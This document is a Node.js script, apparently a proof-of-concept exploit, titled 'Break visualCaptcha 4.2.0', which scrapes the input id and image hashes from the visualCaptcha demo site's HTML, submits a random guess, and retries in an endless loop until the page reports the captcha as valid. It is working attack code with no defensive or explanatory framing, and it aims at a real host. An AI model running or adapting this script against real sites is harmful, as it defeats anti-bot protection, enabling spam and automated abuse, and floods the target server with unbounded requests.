Break visualCaptcha 4.2.0

break-visual-captcha-4.2.0.js

var request = require('request');

request = request.defaults({jar: true});

var URI = 'http://demo.visualcaptcha.net/';

function getRandomInteger(min, max) {
    return Math.floor(Math.random() * (max - min + 1)) + min;
}

(function makeAttempt() {
    request.get(URI, function (error, response, body) {
        if (!error && response.statusCode === 200) {
            var imageHash = [],
                inputIdRegExp = /=[\s\r\n]*{[\s\S]*?['"]n['"][\r\n\s]*:[\r\n\s]*['"]([^'"]+)['"]/,
                inputId = inputIdRegExp.exec(body)[1],
                formData,
                formActionRegExp = /<form.*action="([^"]+)"/,
                action = formActionRegExp.exec(body)[1],
                imgRegExp = /<img.*data-value="([^"]+)"/g,
                match = imgRegExp.exec(body);

            while (match != null) {
                imageHash.push(match[1]);

                match = imgRegExp.exec(body);
            }

            imgHashNumber = getRandomInteger(0, 4);

            imgHash = imageHash[imgHashNumber];

            console.log('Making atttempt using this hash: ' + imgHash + ' and this inputId: ' + inputId);

            formData = {
                form_submit: 1
            };

            formData[inputId] = imgHash;

            request.post(
                URI + action,
                {
                    form: formData
                },
                function (error, response, body) {        
                    if (!error && response.statusCode === 200) {
                        if (body.indexOf('Captcha valid!') > 0){
                            console.log('Found it :)');
                        }
                    }

                    makeAttempt();
                }
            );
        }
        else {
            console.log('Damn, server seems to be down');
        }
    });
}());